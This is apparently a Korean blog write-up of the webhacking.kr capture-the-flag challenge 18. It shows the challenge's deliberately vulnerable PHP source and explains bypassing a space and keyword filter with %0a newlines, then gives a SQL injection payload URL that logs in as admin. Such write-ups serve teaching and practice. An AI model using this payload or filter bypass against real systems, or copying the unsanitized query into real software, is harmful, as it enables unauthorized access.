티스토리 뷰

WEB/webhacking.kr

Webhacking.kr - 18번 [100]

Notchicken 2017. 5. 24. 14:55

Webhacking.kr - 18번 [100]



18번 문제는 인풋박스와 소스가 주어지고, 간단한 SQL 인젝션을 하는 문제이다.

<html>
<head>
<title>Challenge 18</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
input { background:silver; }
a { color:lightgreen; }
</style>
</head>
<body>
<br><br>
<center><h1>SQL INJECTION</h1>
<form method=get action=index.php>
<table border=0 align=center cellpadding=10 cellspacing=0>
<tr><td><input type=text name=no></td><td><input type=submit></td></tr>
</table>
</form>
<a style=background:gray;color:black;width:100;font-size:9pt;><b>RESULT</b><br>
<?
if($_GET[no])
{
if(eregi(" |/|\(|\)|\t|\||&|union|select|from|0x",$_GET[no])) exit("no hack");
$q=@mysql_fetch_array(mysql_query("select id from challenge18_table where id='guest' and no=$_GET[no]"));
if($q[0]=="guest") echo ("hi guest");
if($q[0]=="admin")
{
@solve();
echo ("hi admin!");
}
}
?>
</a>
<br><br><a href=index.phps>index.phps</a>
</cener>
</body>
</html>


공백, /, union 등이 필터링 되는 것을 볼 수 있고, 이를 우회하여 admin으로 로그인해야 함을 알 수 있다.
기본적으로 id값은 guest로 설정되어 있으며, 입력값이 guest의 no값과 일치할 때 guest로 로그인 됨을 볼 수 있다. ( guest의 no값은 1)
id=’guest’ and no=2 or no=2로 구문을 완성시켜 admin으로 로그인해보고자 하였고,
공백필터를 우회하기 위해 %0a를 이용하였다.


http://webhacking.kr/challenge/web/web-32/index.php?no=2%0aor%0ano=2
-> SELECT id FROM challenge18_table WHERE id=’guest’ and no=2 or no=2


guest의 no값은 1이므로 앞의 구문이 거짓이 되고, 뒤의 no=2가 참이 되어 no=2에 해당되는
admin으로 로그인하게 된다.


'WEB > webhacking.kr' 카테고리의 다른 글

Webhacking.kr - 24번 [100]  (0) 2017.05.24
Webhacking.kr - 14번 [100]  (0) 2017.05.24
Webhacking.kr - 16번 [100]  (0) 2017.05.24
Webhacking.kr - 17번[100]  (0) 2017.05.24
Webhacking.kr - 6번 [100]  (0) 2017.05.24
댓글
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday